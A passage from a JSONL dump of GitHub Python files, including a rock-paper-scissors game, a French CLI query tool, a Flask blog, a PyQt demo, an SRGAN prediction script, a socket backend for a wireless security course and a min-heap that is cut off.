usr_inpt.capitalize() == com_inpt:\n speak(\"Game Draw\")\n print(\"\\nGame Draw\\n\")\n gme_ovr +=1\n \n elif usr_inpt.capitalize() == \"S\" and com_inpt == 'W':\n speak(f\"Computer choosen{com_inpt}\")\n speak(\"Congratulation, You won\")\n print(\"\\n🤗🤩😜You wonðŸ˜�😋🤑\\n\")\n usr_scs +=1\n \n elif usr_inpt.capitalize()==\"W\" and com_inpt == \"S\":\n speak(f\"Computer choosen{com_inpt}\") \n speak(\"Sorry, Computer won\")\n print(\"\\nYou losed\\n\")\n com_scs +=1\n \n elif usr_inpt.capitalize() == \"W\" and com_inpt == \"G\":\n speak(f\"Computer choosen{com_inpt}\")\n speak(\"Congratulation, You won\")\n print(\"\\n🤗🤩😜You wonðŸ˜�😋🤑\\n\")\n usr_scs +=1\n \n elif usr_inpt.capitalize() ==\"G\" and com_inpt == \"W\":\n speak(f\"Computer choosen{com_inpt}\")\n speak(\"Sorry, Computer won\")\n print(\"\\nYou losed\\n\")\n com_scs+=1\n \n elif usr_inpt.capitalize() == \"G\" and com_inpt == \"S\":\n speak(f\"Computer choosen{com_inpt}\")\n speak(\"Congratulation, You won\")\n print(\"\\n🤗🤩😜You wonðŸ˜�😋🤑\\n\")\n usr_scs +=1\n \n elif usr_inpt.capitalize() == \"S\" and com_inpt == \"G\":\n speak(f\"Computer choosen{com_inpt}\")\n speak(\"Sorry, Computer won\")\n print(\"\\nYou losed\\n\")\n com_scs +=1\n else:\n speak(\"You entered, unexpected keyword\")\n print(\"\\nYou entered unexpected keyword 😢😯\\n\")\n usr_un_key +=1\n \n i +=1 \n speak(\"The Game is End\\nNow let's see your, and computer scores\")\n speak(f\"Computer scores is,{com_scs}\")\n print(\"Computer scores:\",com_scs)\n speak(f\"your scores is,{usr_scs}\")\n print(\"Your scores:\", usr_scs)\n speak(f\"and Game Over{gme_ovr} time\")\n print(\"Game Draw:\",gme_ovr)\n speak(f\"{usr_un_key} time wrong input\")\n print(f\"{usr_un_key} time wrong input\\n\")\n speak(\"Now let's see, who is winner\")\n if com_scs > usr_scs :\n print(\"\\nThe final Decision--->>\\n\")\n speak(\"In this game, Computer is winner\")\n print(\"\\nComputer is winner\\n\")\n elif com_scs < usr_scs :\n print(\"\\nThe final Decision--->>\\n\")\n speak(\"In this game, You are winner\")\n print(\"\\nYou are winner\\n\")\n else:\n speak(\"Game Draw, No one is winner\")\n print(\"\\nGame Draw, no one is winner\\n\")\ns_w_g_gme()\n\n\n\n\n","repo_name":"romangitava/Roman_Projects_So_Many_Projects","sub_path":"Day26_Pers_Project.py","file_name":"Day26_Pers_Project.py","file_ext":"py","file_size_in_byte":3474,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"26257780664","text":"import os\nimport re\nimport sys\nfrom pathlib import Path\n\nimport json\nfrom src.bdd.entity import Etudiant, Competences, Domaines, Evaluations, Matieres, Syllabus, Validations\n\nroot = Path(__file__).parent\n\n\nclass Command:\n \"\"\"\n La structure des commandes contenant son nom, un regex (regex = définie la syntaxe, sa description\n et visible (true = met en valeur la commande)\n \"\"\"\n\n def __init__(self, data: dict or str):\n \"\"\"\n Constructeur par défaut\n\n @param json: Dictionnaire contenant les paramètres de la commande\n @type json: Dictionnaire\n \"\"\"\n if isinstance(data, str): # si un str alors je charge un fichier json\n if re.search(\"\\./json/\\w+\\.json\", data): # si je donne le path alors je le charge sans modification\n f = open(data)\n self.init(str(root) + \"/\" + json.load(f))\n else: # sinon je tente de le trouver par moi même\n if os.path.isfile(str(root) + \"/json/\" + data + \".json\"):\n f = open(str(root) + \"/json/\" + data + \".json\")\n self.init(json.load(f))\n elif isinstance(data, dict):\n self.init(data)\n\n def init(self, data):\n if data.__contains__(\"names\"):\n self.names = data[\"names\"]\n\n if data.__contains__(\"regex\"):\n self.regex = data[\"regex\"]\n\n if data.__contains__(\"description\"):\n self.description = data[\"description\"]\n\n if data.__contains__(\"visible\"):\n self.visible = data[\"visible\"]\n pass\n\n def __str__(self):\n \"\"\"\n ToString() version python\n\n @return: Décrit la commande dans une chaîne de caractères\n @rtype: Une chaîne de caractères\n \"\"\"\n return \"name : \" + str(self.names) + \", regex : \" + self.regex + \", description : \" + self.description\n\n\nclass CommandManager:\n \"\"\"\n Permet la gestion / manipulation des commandes\n \"\"\"\n\n def __init__(self, commands=None):\n \"\"\"\n Par défaut attend un tableau, si il n'y en a pas, il le créer lui-même\n\n @param commands: Un tableau de commandes\n @type commands: Un tableau de commandes\n \"\"\"\n if commands is None:\n commands = []\n self.commands = commands\n\n def register_command(self, command: Command, code=lambda parameter: print(\"parameter : \" + str(parameter))):\n \"\"\"\n Permet de d'enregistrer une commande en interne\n\n @param command: Une commande\n @type command: Une commande\n @param code: La fonction qui sera exécutée quand la commande sera apelée\n @type code: Une fonction (lambda)\n @return:\n @rtype:\n \"\"\"\n\n self.commands.append({\n \"command\": command,\n \"code\": code\n })\n\n def get_command_by_names(self, name: str, parameter=sys.argv[2:]):\n \"\"\"\n Permet d'avoir une commande selon le nom passé en paramètre\n\n @param name: Une chaîne de caractères contenant le nom de la commande\n @type name: String\n @param parameter: Défini les paramètres de la commande soit une chaine de caractères\n @type parameter: Tableau de String\n @return: Un dictionnaire (json) soit vide soit contenant la commande\n @rtype: Dictionnaire\n \"\"\"\n for data in self.commands:\n if data[\"command\"].names.__contains__(name) and (re.search(data[\"command\"].regex, ' '.join(parameter)) or (\n len(parameter) > 0 and parameter[0] == \"--help\")):\n return data\n return {}\n\n def exec_command(self, name: str, parameter=sys.argv[2:]):\n \"\"\"\n Récupère la commande et l'exécute\n\n @param name: Une chaîne de caractères contenant le nom de la commande\n @type name: String\n @param parameter: Option de commande demandé par l'utilisateur\n @type parameter: Tableau de String\n @return:\n @rtype:\n \"\"\"\n data = self.get_command_by_names(name, parameter)\n if data.__contains__(\"command\") and data.__contains__(\"code\"):\n command = data[\"command\"]\n code = data[\"code\"]\n code({\n \"parameter\": parameter,\n \"manager\": self,\n \"command\": command\n })\n else:\n print(\"not found\")\n\n\ndef base_command(context, base_run, help_run, fail_run=lambda context: print(\"Error : \\n\\t\" + vars(context))):\n if context.__contains__(\"parameter\"):\n param = context[\"parameter\"]\n if len(param) > 0 and param[0] == \"--help\":\n help_run(context)\n elif not base_run(context):\n fail_run(context)\n\n else:\n fail_run(context)\n\n\ndef help_command(context):\n \"\"\"\n Fonction d'aide par défaut\n\n @param context: Décrit le contexte de l'application actuelle\n @type context: Dictionnaire\n @return:\n @rtype:\n \"\"\"\n\n def run(context):\n if context.__contains__(\"manager\"):\n manager = context[\"manager\"]\n for data in manager.commands:\n if data[\"command\"].visible:\n print(data[\"command\"])\n return True\n return False\n\n base_command(context, run, lambda ctx: print(\"on affiche help\"))\n\n\ndef make_query(parameter):\n \"\"\"\n Permet de construire la requête à l'ORM en fonction de ce que l'on donne en paramètre\n\n :param parameter:\n :return:\n \"\"\"\n option = {}\n group = []\n size = -1\n order = {}\n\n actual = \"-o\"\n\n for p in parameter:\n if re.search(\"-\\w\", p): # switch de mode, -o option, -order order, -size size, -g group\n actual = p\n elif re.search(\"\\w\\=\\w\", p): # machin=machin\n split = p.split(\"=\")\n if actual == \"-o\":\n option[split[0]] = split[1] # -o id=1 name=alo\n elif actual == \"-order\": # -order id=up\n order[split[0]] = split[1]\n else:\n if actual == \"-size\": # -size 1\n size = int(p)\n elif actual == \"-g\": # -g id name\n group.append(p)\n\n return option, group, size, order\n\n\ndef student_command(context):\n \"\"\"\n fonction quand une requete du style\n - student -o etudiant_prenom=test2 -order etudiant_id=down\n - student\n est utilisé en argument\n :param context:\n :return:\n \"\"\"\n\n def run(context):\n if context.__contains__(\"parameter\"):\n parameter = context[\"parameter\"]\n option, group, size, order = make_query(parameter)\n query = Etudiant.read(Etudiant, option=option, group=group, size=size, order=order)\n for entity in query:\n print(entity)\n return True\n return False\n\n def help(context):\n print(\"help\")\n\n def fail(context):\n print(\"error\")\n\n base_command(context, run, help)\n\n\ndef competence_command(context):\n \"\"\"\n fonction quand une requete du style\n - competence -o competences_seuil=1 -order competences_id=up\n - competence -o competences_nom=C4\n est utilisé en argument\n :param context:\n :return:[competence]\n \"\"\"\n\n def run(context):\n if context.__contains__(\"parameter\"):\n parameter = context[\"parameter\"]\n option, group, size, order = make_query(parameter)\n query = Competences.read(Competences, option=option, group=group, size=size, order=order)\n for entity in query:\n print(entity)\n return True\n return False\n\n def help(context):\n print(\"help\")\n\n def fail(context):\n print(\"error\")\n\n base_command(context, run, help)\n\n\ndef domaine_command(context):\n \"\"\"\n fonction quand une requete du style\n - domain -o domaines_nom=D2 -order domaines_id=down\n - domaine -o domaines_nom=D1\n est utilisé en argument\n :param context:\n :return:[domaine]\n \"\"\"\n\n def run(context):\n if context.__contains__(\"parameter\"):\n parameter = context[\"parameter\"]\n option, group, size, order = make_query(parameter)\n query = Domaines.read(Domaines, option=option, group=group, size=size, order=order)\n for entity in query:\n print(entity)\n return True\n return False\n\n def help(context):\n print(\"help\")\n\n def fail(context):\n print(\"error\")\n\n base_command(context, run, help)\n\n\ndef evaluation_command(context):\n \"\"\"\n fonction quand une requete du style\n - evaluation\n est utilisé en argument\n :param context:\n :return:[evaluation]\n \"\"\"\n\n def run(context):\n if context.__contains__(\"parameter\"):\n parameter = context[\"parameter\"]\n option, group, size, order = make_query(parameter)\n query = Evaluations.read(Evaluations, option=option, group=group, size=size, order=order)\n for entity in query:\n print(entity)\n return True\n return False\n\n def help(context):\n print(\"help\")\n\n def fail(context):\n print(\"error\")\n\n base_command(context, run, help)\n\n\ndef matiere_command(context):\n \"\"\"\n fonction quand une requete du style\n - matiere -o matieres_nom=Web\n est utilisé en argument\n :param context:\n :return:[matiere]\n \"\"\"\n\n def run(context):\n if context.__contains__(\"parameter\"):\n parameter = context[\"parameter\"]\n option, group, size, order = make_query(parameter)\n query = Matieres.read(Matieres, option=option, group=group, size=size, order=order)\n for entity in query:\n print(entity)\n return True\n return False\n\n def help(context):\n print(\"help\")\n\n def fail(context):\n print(\"error\")\n\n base_command(context, run, help)\n\n\ndef syllabus_command(context):\n \"\"\"\n fonction quand une requete du style\n - syllabus -o etudiant_id=1\n est utilisé en argument\n :param context:\n :return:[syllabus]\n \"\"\"\n\n def run(context):\n if context.__contains__(\"parameter\"):\n parameter = context[\"parameter\"]\n option, group, size, order = make_query(parameter)\n query = Syllabus.read(Syllabus, option=option, group=group, size=size, order=order)\n for entity in query:\n print(entity)\n return True\n return False\n\n def help(context):\n print(\"help\")\n\n def fail(context):\n print(\"error\")\n\n base_command(context, run, help)\n\n\ndef validation_command(context):\n \"\"\"\n fonction quand une requete du style\n - validation -o aptitudes_id=1 -o evaluations_id=1\n est utilisé en argument\n :param context:\n :return:[validation]\n \"\"\"\n\n def run(context):\n if context.__contains__(\"parameter\"):\n parameter = context[\"parameter\"]\n option, group, size, order = make_query(parameter)\n query = Validations.read(Validations, option=option, group=group, size=size, order=order)\n for entity in query:\n print(entity)\n return True\n return False\n\n def help(context):\n print(\"help\")\n\n def fail(context):\n print(\"error\")\n\n base_command(context, run, help)\n'''\nOptionnel -> Description de comment sera notre json\n\nfichier : help.json\n{\n \"names\": [\"help\"],\n \"regex\": \"\",\n \"description\": \"\",\n \"visible\": true\n}\n\nregister_command(\"help.json\", lambda);\n\n\nhelp\n\nfor (command in commands):\n if command.names.contain(help):\n command.exec();\n'''","repo_name":"mtbinds/cli","sub_path":"src/command.py","file_name":"command.py","file_ext":"py","file_size_in_byte":11687,"program_lang":"python","lang":"fr","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"873218910","text":"from unittest import TestCase\n\nimport game\n\n\nclass TestEraseSpecialLocation(TestCase):\n def test_erase_special_location_successful_convert_special_back_to_normal(self):\n new_board = {(0, 0): 'Starbucks'}\n new_character = {'X-coordinate': 0, 'Y-coordinate': 0}\n game.erase_special_location(new_board, new_character)\n expected = 'DT street'\n actual = new_board[(0, 0)]\n self.assertEqual(expected, actual)\n\n def test_erase_special_location_character_unchanged(self):\n new_board = {(0, 0): 'Starbucks'}\n new_character = {'X-coordinate': 0, 'Y-coordinate': 0}\n game.erase_special_location(new_board, new_character)\n expected_character = {'X-coordinate': 0, 'Y-coordinate': 0}\n self.assertEqual(expected_character, new_character)","repo_name":"ws111994/SUD_Love_Adventure","sub_path":"test_erase_special_location.py","file_name":"test_erase_special_location.py","file_ext":"py","file_size_in_byte":806,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"38247258459","text":"# dp/달나라 토끼를 위한 구매대금 지불 도우미/실버3\n\ncost = int(input())\ndp = [0]+[100001]*(cost)\ncoins = [7,5,2,1]\n\nfor i in range(1,cost+1):\n for coin in coins:\n if coin <= i and dp[i-coin]+1 < dp[i]:\n dp[i] = dp[i-coin]+1\n\nprint(dp[cost])\n","repo_name":"coolOlive/TIL","sub_path":"코딩테스트 공부/230730_백준[17212].py","file_name":"230730_백준[17212].py","file_ext":"py","file_size_in_byte":269,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"11003885416","text":"#!/usr/bin/env python3\n\nfrom faceanalysis.api import app as application\nfrom faceanalysis.log import get_logger\nfrom faceanalysis.models import delete_models\nfrom faceanalysis.models import init_models\nfrom faceanalysis.settings import FACE_VECTORIZE_ALGORITHM\nfrom faceanalysis.settings import IMAGE_PROCESSOR_CONCURRENCY\nfrom faceanalysis.settings import IMAGE_PROCESSOR_QUEUE\nfrom faceanalysis.settings import LOGGING_LEVEL\nfrom faceanalysis.tasks import celery\n\nlogger = get_logger(__name__)\n\n\nclass Commands:\n @classmethod\n def worker(cls):\n if FACE_VECTORIZE_ALGORITHM == 'FaceApi':\n logger.warning('FaceApi backend detected: not starting worker')\n return\n\n celery.worker_main([\n '--queues={}'.format(IMAGE_PROCESSOR_QUEUE),\n '--concurrency={}'.format(IMAGE_PROCESSOR_CONCURRENCY),\n '--loglevel={}'.format(LOGGING_LEVEL),\n '-Ofair',\n ])\n\n @classmethod\n def runserver(cls):\n application.run()\n\n @classmethod\n def createdb(cls):\n init_models()\n\n @classmethod\n def dropdb(cls):\n delete_models()\n\n\ndef _main(command: str):\n command = getattr(Commands, command)\n command()\n\n\ndef _cli():\n from argparse import ArgumentParser\n from inspect import getmembers\n from inspect import ismethod\n\n all_commands = [name for name, _ in\n getmembers(Commands, predicate=ismethod)]\n\n parser = ArgumentParser(description=__doc__)\n parser.add_argument('command', choices=all_commands)\n args = parser.parse_args()\n\n _main(args.command)\n\n\nif __name__ == '__main__':\n _cli()\n","repo_name":"CatalystCode/faceanalysis","sub_path":"app/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1640,"program_lang":"python","lang":"en","doc_type":"code","stars":21,"dataset":"github-code","pt":"75"} +{"seq_id":"40161147881","text":"import sqlite3\nimport logging\n\nfrom webbrowser import get\n\nfrom flask import Flask, jsonify, json, render_template, request, url_for, redirect, flash\nfrom werkzeug.exceptions import abort\n\n# Function to get a database connection.\n# This function connects to database with the name `database.db`\n\n\ndef set_db_connection_count(connection):\n connection.execute(\n 'UPDATE metrics SET value = value+1 WHERE id = ? LIMIT 1', ('db_connection_count',))\n connection.commit()\n\n\ndef get_db_connection_count(connection: sqlite3.Connection):\n db_connection_count = connection.execute(\n 'SELECT value FROM metrics WHERE id= ?', ('db_connection_count',)).fetchone()\n return db_connection_count['value']\n\n\ndef get_db_connection():\n db = 'database.db'\n try:\n connection = sqlite3.connect(f'file:{db}?mode=rw', uri=True)\n except sqlite3.OperationalError:\n app.logger.error(\"Error loading DB file.\")\n connection.row_factory = sqlite3.Row\n set_db_connection_count(connection)\n return connection\n\n# Function to get a post using its ID\n\n\ndef get_post(post_id):\n connection = get_db_connection()\n post = connection.execute('SELECT * FROM posts WHERE id = ?',\n (post_id,)).fetchone()\n connection.close()\n return post\n\n\ndef get_post_count(connection):\n post_count = connection.execute('SELECT COUNT() FROM posts').fetchone()\n return post_count[0]\n\n\n# Define the Flask application\napp = Flask(__name__)\napp.config['SECRET_KEY'] = 'your secret key'\n\n# Define the main route of the web application\n\n\n@app.route('/')\ndef index():\n connection = get_db_connection()\n posts = connection.execute('SELECT * FROM posts').fetchall()\n connection.close()\n return render_template('index.html', posts=posts)\n\n# Define how each individual article is rendered\n# If the post ID is not found a 404 page is shown\n\n\n@app.route('/<int:post_id>')\ndef post(post_id):\n post = get_post(post_id)\n if post is None:\n app.logger.error(f'Not found article: returning 404')\n return render_template('404.html'), 404\n else:\n app.logger.debug(f'Retrieved post: { post[\"title\"] }')\n return render_template('post.html', post=post)\n\n# Define the About Us page\n\n\n@app.route('/about')\ndef about():\n app.logger.debug(f'Retrieved page: About Us')\n return render_template('about.html')\n\n# Define the post creation functionality\n\n\n@app.route('/create', methods=('GET', 'POST'))\ndef create():\n if request.method == 'POST':\n title = request.form['title']\n content = request.form['content']\n\n if not title:\n flash('Title is required!')\n else:\n connection = get_db_connection()\n connection.execute('INSERT INTO posts (title, content) VALUES (?, ?)',\n (title, content))\n connection.commit()\n connection.close()\n\n app.logger.debug(f'New article created: { title }')\n\n return redirect(url_for('index'))\n\n return render_template('create.html')\n\n\n@app.route('/healthz')\ndef healthz():\n connection = None\n try:\n connection = get_db_connection()\n count = connection.execute(\n ''' SELECT count(name) FROM sqlite_master WHERE type='table' AND name='posts' ''').fetchone()[0]\n print(count)\n if count != 1:\n raise Exception()\n except:\n app.logger.error('Database not in healthy state')\n response = app.response_class(\n response=json.dumps({\"result\": \"ERROR - unhealthy\"}),\n status=500,\n mimetype='application/json'\n )\n return response\n finally:\n if connection:\n connection.close()\n response = app.response_class(\n response=json.dumps({\"result\": \"OK - healthy\"}),\n status=200,\n mimetype='application/json'\n )\n app.logger.debug('Healthz request successfull')\n return response\n\n# get_db_connection_count includes the connections to sqlite db for the healthz an metrics endpoints\n\n\n@app.route('/metrics')\ndef metrics():\n metrics = {}\n connection = get_db_connection()\n metrics['post_count'] = get_post_count(connection)\n metrics['db_connection_count'] = get_db_connection_count(connection)\n connection.close()\n response = app.response_class(\n response=json.dumps(metrics),\n status=200,\n mimetype='application/json'\n )\n app.logger.debug('Metrics request successfull')\n return response\n\n\n# start the application on port 3111\nif __name__ == \"__main__\":\n app.logger.setLevel(logging.DEBUG)\n app.run(host='0.0.0.0', port='3111')\n","repo_name":"cryptozero/techtrends","sub_path":"techtrends/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":4665,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"8237075153","text":"import logging\nimport json\nimport sublime\n\nlog = logging.getLogger(__name__)\nMODULE_CONFIG = {\n 'source': 'build-in',\n 'name': 'JSONMin',\n 'uid': 'jsonmin',\n 'type': 'minifier',\n 'syntaxes': ['json'],\n \"executable_path\": None,\n 'args': None,\n 'config_path': None,\n 'comment': 'build-in, no executable, no config'\n}\n\n\nclass JsonminFormatter:\n def __init__(self, *args, **kwargs):\n pass\n\n def format(self, text):\n try:\n obj = sublime.decode_value(text)\n result = json.dumps(obj, ensure_ascii=False, separators=(',', ':'), indent=None)\n return result\n except ValueError as err:\n log.error('File not formatted due to ValueError: \"%s\"', err)\n\n return None\n","repo_name":"bitst0rm-pub/Formatter","sub_path":"modules/formatter_jsonmin.py","file_name":"formatter_jsonmin.py","file_ext":"py","file_size_in_byte":756,"program_lang":"python","lang":"en","doc_type":"code","stars":72,"dataset":"github-code","pt":"75"} +{"seq_id":"2731632463","text":"import sys\n\nfrom PyQt5.QtGui import QFont\nfrom PyQt5.QtWidgets import QApplication, QToolTip, QPushButton, QWidget, QMessageBox\nimport PyQt5.Qt as Qt\n\n\nclass ButtonWindow(QWidget):\n\n def __init__(self):\n super().__init__()\n self.init_ui()\n\n def init_ui(self):\n font = QFont('SansSerif', 10)\n QToolTip.setFont(font)\n self.setToolTip('This is a <b>QWidget</b> widget!')\n\n btn = QPushButton('NewBtn', self)\n btn.setToolTip('This is a <b>QButton</b> widget!')\n\n btn.resize(btn.sizeHint())\n btn.move(50, 50)\n\n qbtn = QPushButton('Quit', self)\n qbtn.clicked.connect(QApplication.instance().quit)\n qbtn.resize(qbtn.sizeHint())\n qbtn.setToolTip('This <b>QButton</b> quits!')\n qbtn.move(50, 100)\n\n self.setGeometry(300, 300, 300, 200)\n self.setWindowTitle('Tooltips & Buttons')\n self.show()\n\n def closeEvent(self, event):\n reply = QMessageBox.question(self, 'Message', 'Are you sure you want to quit?',\n QMessageBox.Yes | QMessageBox.Cancel, QMessageBox.Cancel)\n\n if reply == QMessageBox.Yes:\n event.accept()\n else:\n event.ignore()\n\n\nif __name__ == '__main__':\n app = QApplication(sys.argv)\n ex = ButtonWindow()\n sys.exit(app.exec())\n","repo_name":"ArchKudo/pyqt5-tuts","sub_path":"button.py","file_name":"button.py","file_ext":"py","file_size_in_byte":1341,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"23890852198","text":"#--------------------------------------------------------------#\r\n# 对单张图片进行预测,运行结果保存在根目录\r\n# 默认保存文件为results/predict_out/predict_srgan.png\r\n#--------------------------------------------------------------#\r\nimport time\r\n\r\nimport cv2\r\nimport numpy as np\r\nfrom PIL import Image\r\n\r\nfrom srgan import SRGAN\r\n\r\n\r\nif __name__ == \"__main__\":\r\n srgan = SRGAN()\r\n #----------------------------------------------------------------------------------------------------------#\r\n # mode用于指定测试的模式:\r\n # 'predict' 表示单张图片预测,结果保存在save_path_1x1中\r\n # 'video' 表示视频检测,可调用摄像头或者视频进行检测,详情查看下方注释。\r\n # 'dir_predict' 表示遍历文件夹进行检测并保存。默认遍历img文件夹,保存img_out文件夹,详情查看下方注释。\r\n #----------------------------------------------------------------------------------------------------------#\r\n mode = \"predict\"\r\n #-------------------------------------------------------------------------#\r\n # save_path_1x1 单张图片的保存路径\r\n #-------------------------------------------------------------------------#\r\n save_path_1x1 = \"results/predict_out/predict_srgan.png\"\r\n #----------------------------------------------------------------------------------------------------------#\r\n # video_path 用于指定视频的路径,当video_path=0时表示检测摄像头\r\n # 想要检测视频,则设置如video_path = \"xxx.mp4\"即可,代表读取出根目录下的xxx.mp4文件。\r\n # video_save_path 表示视频保存的路径,当video_save_path=\"\"时表示不保存\r\n # 想要保存视频,则设置如video_save_path = \"yyy.mp4\"即可,代表保存为根目录下的yyy.mp4文件。\r\n # video_fps 用于保存的视频的fps\r\n #\r\n # video_path、video_save_path和video_fps仅在mode='video'时有效\r\n # 保存视频时需要ctrl+c退出或者运行到最后一帧才会完成完整的保存步骤。\r\n #----------------------------------------------------------------------------------------------------------#\r\n video_path = 0\r\n video_save_path = \"\"\r\n video_fps = 25.0\r\n #-------------------------------------------------------------------------#\r\n # dir_origin_path 指定了用于检测的图片的文件夹路径\r\n # dir_save_path 指定了检测完图片的保存路径\r\n # \r\n # dir_origin_path和dir_save_path仅在mode='dir_predict'时有效\r\n #-------------------------------------------------------------------------#\r\n dir_origin_path = \"img/\"\r\n dir_save_path = \"img_out/\"\r\n\r\n if mode == \"predict\":\r\n while True:\r\n img = input('Input image filename:')\r\n try:\r\n image = Image.open(img)\r\n except:\r\n print('Open Error! Try again!')\r\n continue\r\n else:\r\n r_image = srgan.detect_image(image)\r\n r_image.save(save_path_1x1)\r\n r_image.show()\r\n\r\n elif mode == \"video\":\r\n capture = cv2.VideoCapture(video_path)\r\n if video_save_path!=\"\":\r\n fourcc = cv2.VideoWriter_fourcc(*'XVID')\r\n size = (int(capture.get(cv2.CAP_PROP_FRAME_WIDTH)), int(capture.get(cv2.CAP_PROP_FRAME_HEIGHT)))\r\n out = cv2.VideoWriter(video_save_path, fourcc, video_fps, size)\r\n\r\n ref, frame = capture.read()\r\n if not ref:\r\n raise ValueError(\"未能正确读取摄像头(视频),请注意是否正确安装摄像头(是否正确填写视频路径)。\")\r\n\r\n fps = 0.0\r\n while(True):\r\n t1 = time.time()\r\n # 读取某���帧\r\n ref, frame = capture.read()\r\n if not ref:\r\n break\r\n # 格式转变,BGRtoRGB\r\n frame = cv2.cvtColor(frame,cv2.COLOR_BGR2RGB)\r\n # 转变成Image\r\n frame = Image.fromarray(np.uint8(frame))\r\n # 进行检测\r\n frame = np.array(srgan.detect_image(frame))\r\n # RGBtoBGR满足opencv显示格式\r\n frame = cv2.cvtColor(frame,cv2.COLOR_RGB2BGR)\r\n \r\n fps = ( fps + (1./(time.time()-t1)) ) / 2\r\n print(\"fps= %.2f\"%(fps))\r\n frame = cv2.putText(frame, \"fps= %.2f\"%(fps), (0, 40), cv2.FONT_HERSHEY_SIMPLEX, 1, (0, 255, 0), 2)\r\n \r\n cv2.imshow(\"video\",frame)\r\n c= cv2.waitKey(1) & 0xff \r\n if video_save_path!=\"\":\r\n out.write(frame)\r\n\r\n if c==27:\r\n capture.release()\r\n break\r\n\r\n print(\"Video Detection Done!\")\r\n capture.release()\r\n if video_save_path!=\"\":\r\n print(\"Save processed video to the path :\" + video_save_path)\r\n out.release()\r\n cv2.destroyAllWindows()\r\n \r\n elif mode == \"dir_predict\":\r\n import os\r\n\r\n from tqdm import tqdm\r\n\r\n img_names = os.listdir(dir_origin_path)\r\n for img_name in tqdm(img_names):\r\n if img_name.lower().endswith(('.bmp', '.dib', '.png', '.jpg', '.jpeg', '.pbm', '.pgm', '.ppm', '.tif', '.tiff')):\r\n image_path = os.path.join(dir_origin_path, img_name)\r\n image = Image.open(image_path)\r\n r_image = srgan.detect_image(image)\r\n if not os.path.exists(dir_save_path):\r\n os.makedirs(dir_save_path)\r\n r_image.save(os.path.join(dir_save_path, img_name.replace(\".jpg\", \".png\")), quality=95, subsampling=0)\r\n\r\n else:\r\n raise AssertionError(\"Please specify the correct mode: 'predict', 'video', 'fps' or 'dir_predict'.\")\r\n","repo_name":"bubbliiiing/srgan-pytorch","sub_path":"predict.py","file_name":"predict.py","file_ext":"py","file_size_in_byte":5936,"program_lang":"python","lang":"en","doc_type":"code","stars":43,"dataset":"github-code","pt":"75"} +{"seq_id":"9942790779","text":"import socket\r\nimport threading\r\nimport json\r\nimport setting\r\nimport log\r\nimport experiment\r\nimport task\r\n\r\n\r\ndef new_task(task_socket, task_address, setting):\r\n log.logger_wad.info(\"Accept new connection from %s:%s...\" % task_address)\r\n setting.web_server_ip = task_address[0]\r\n\r\n data = b''\r\n task_socket.settimeout(1)\r\n while True:\r\n try:\r\n buffer = task_socket.recv(setting.receive_buffsize)\r\n if buffer:\r\n data += buffer\r\n log.logger_wad.info('receiving :' + str(data))\r\n else:\r\n log.logger_wad.info('receive data completed :' + str(data))\r\n task_socket.setblocking(1)\r\n break\r\n except Exception as e:\r\n task_socket.setblocking(1)\r\n log.logger_wad.info('receive data completed :' + str(data))\r\n log.logger_wad.error(str(e))\r\n break\r\n\r\n received_json = json.loads(data.decode('utf-8'))\r\n\r\n if (not setting.experiment) \\\r\n and ('experiment_id' in received_json.keys()) \\\r\n and ('group_id' in received_json.keys()):\r\n log.logger_wad.info('experiment not found, creating ...')\r\n setting.experiment = experiment.Experiment(received_json['experiment_id'],\r\n received_json['group_id'], setting)\r\n log.logger_wad.info('create experiment succeed')\r\n else:\r\n log.logger_wad.info('experiment exist')\r\n\r\n if 'function_id' in received_json.keys():\r\n command = received_json['function_id']\r\n if command in task.Task.TASK_LIST:\r\n log.logger_wad.info('execute function:' + str(command))\r\n ack_data = task.Task.TASK_LIST[command](received_json, setting.experiment, setting)\r\n if ack_data:\r\n ack_json = json.dumps({'device_id': received_json['device_id'],\r\n 'function_id': received_json['function_id'],\r\n 'group_id': received_json['group_id'],\r\n 'data': ack_data})\r\n task_socket.send(ack_json.encode('utf-8'))\r\n log.logger_wad.info('ack sent:' + str(ack_json))\r\n else:\r\n log.logger_wad.error('ack_data not found')\r\n else:\r\n log.logger_wad.error('function_id not in list')\r\n else:\r\n log.logger_wad.error('function_id not found')\r\n\r\n task_socket.close()\r\n\r\n\r\n# main function\r\nif __name__ == '__main__':\r\n log.logger_wad.info('Welcome to Wireless Attacking & Defence BackEnd')\r\n setting = setting.Setting()\r\n log.logger_wad.info('Load Setting Completed')\r\n server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\r\n server.bind(setting.server_socket)\r\n server.listen()\r\n log.logger_wad.info('Listen on ' + str(setting.server_socket[0])\r\n + ':' + str(setting.server_socket[1]))\r\n while True:\r\n socket_in, socket_address = server.accept()\r\n new_task_thread = threading.Thread(target=new_task,\r\n args=(socket_in, socket_address, setting))\r\n new_task_thread.start()\r\n","repo_name":"bei1/wadbackend","sub_path":"wadbackend/wad/wad.py","file_name":"wad.py","file_ext":"py","file_size_in_byte":3218,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"28866179436","text":"# Python3 implementation of Min Heap\n\nimport sys\nfrom datetime import datetime\nfrom bnp.diary import Entry\nimport time\n\nclass MinHeap:\n\n def __init__(self, maxsize):\n self.capacity = maxsize\n self.size = 0\n self.Heap = []\n self.clear()\n\n def clear(self):\n for i in range(self.capacity):\n d = datetime(2021, 10, 5, 18, 00)\n e = Entry(1, \"a\", d)\n self.Heap.append(e)\n\n def heapsort_bottom(self, index):\n parent_node = (index - 1) // 2\n if parent_node < 0:\n parent_node = 0\n\n if self.Heap[parent_node].date < self.Heap[index].date:\n temp = self.Heap[parent_node]\n self.Heap[parent_node] = self.Heap[index]\n self.Heap[index] = temp\n\n self.heapsort_bottom(parent_node)\n\n def heapsort_top(self, parent_node):\n left = (parent_node * 2) + 1\n right = (parent_node * 2) + 2\n _min = 0\n temp = \"\"\n\n # check for balance\n if left >= self.size or left < 0:\n left 